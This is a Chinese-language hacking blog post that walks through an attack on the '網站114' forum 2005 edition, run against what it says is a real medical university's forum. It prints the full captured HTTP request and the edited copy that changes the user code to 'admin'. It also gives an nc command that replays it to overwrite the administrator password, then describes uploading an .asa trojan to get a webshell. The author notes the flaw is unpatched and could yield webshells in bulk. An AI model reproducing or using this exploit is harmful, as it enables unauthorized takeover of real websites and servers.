關(guān)鍵字:
"版權(quán)所有 設(shè)計制作：網(wǎng)站114" 
漏洞描述: 
網(wǎng)站114論壇 2005版正式
/edituserdb.asp
對提交數(shù)據(jù)和cooikes缺乏驗證
導(dǎo)致任意用戶可以修改管理員密碼
默認后臺admin/index.asp
今天在旁注一個機房的機器時用了一下。
http://www.***.net.cn/xzl/BBS/index.asp
**醫(yī)科大學網(wǎng)站上的一個論壇。
注冊了一個用戶33221.
然后跳轉(zhuǎn)到 /edituserdb.asp,單擊“修改注冊”開始抓包!
用記事本保存抓包內(nèi)容如下：
-----------------------------------------------------------------------------------------------------------
POST /xzl/BBS//SaveUser_Account.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://www.***.net.cn/xzl/BBS//edituserdb.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d61e41d605f6
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon)
Host: www.***.net.cn
Content-Length: 2304
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSCTSQSAB=EKMKINHAIAACMGFMKABJDBME
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtUserCode"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtConfirmPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtQuestion"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtAnswer"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtUserName"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="selSex"
先生
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtNick"
11
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtProvince"
111
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtAddress"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtPostCode"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtTel"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtMobile"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtFax"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtEmail"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtUrl"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtfile"; filename=""
Content-Type: application/octet-stream

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtOicq"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtDocument"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="submit"
修改注冊信息
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtId"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtTempId"

-----------------------------7d61e41d605f6--

------------------------------------------------------------------------------------------------------------
其中：“
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtUserCode"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtConfirmPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtQuestion"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtAnswer"
33221
-----------------------------7d61e41d605f6
”
修改第一個"33221"為“admin”保存11.txt文本為：

POST /xzl/BBS//SaveUser_Account.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://www.***.net.cn/xzl/BBS//edituserdb.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d61e41d605f6
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon)
Host: www.***.net.cn
Content-Length: 2304
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSCTSQSAB=EKMKINHAIAACMGFMKABJDBME
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtUserCode"
admin
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtConfirmPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtQuestion"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtAnswer"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtUserName"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="selSex"
先生
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtNick"
11
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtProvince"
111
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtAddress"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtPostCode"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtTel"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtMobile"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtFax"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtEmail"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtUrl"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtfile"; filename=""
Content-Type: application/octet-stream

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtOicq"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtDocument"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="submit"
修改注冊信息
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtId"

-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtTempId"

-----------------------------7d61e41d605f6--
這里因為我注冊的用戶名33221與admin長度一至，所以這里不用修改字節(jié)長度。
然后用nc提交到服務(wù)器
nc www.***.net.cn 80 <11.txt
返回提示修改會員資料成功。
然后用admin 密碼為申請33221的密碼一至登錄。
當然就是管理員權(quán)限了，然后登錄后臺，點擊“修改欄目”，上傳asa木馬，ok,拿到webshll。
看了一下，這個論壇系統(tǒng)還沒有出補丁，可以拿大批webshell了，不過我只要了對我比較有用的一個服務(wù)器，其它的沒有去抓了。

最新評論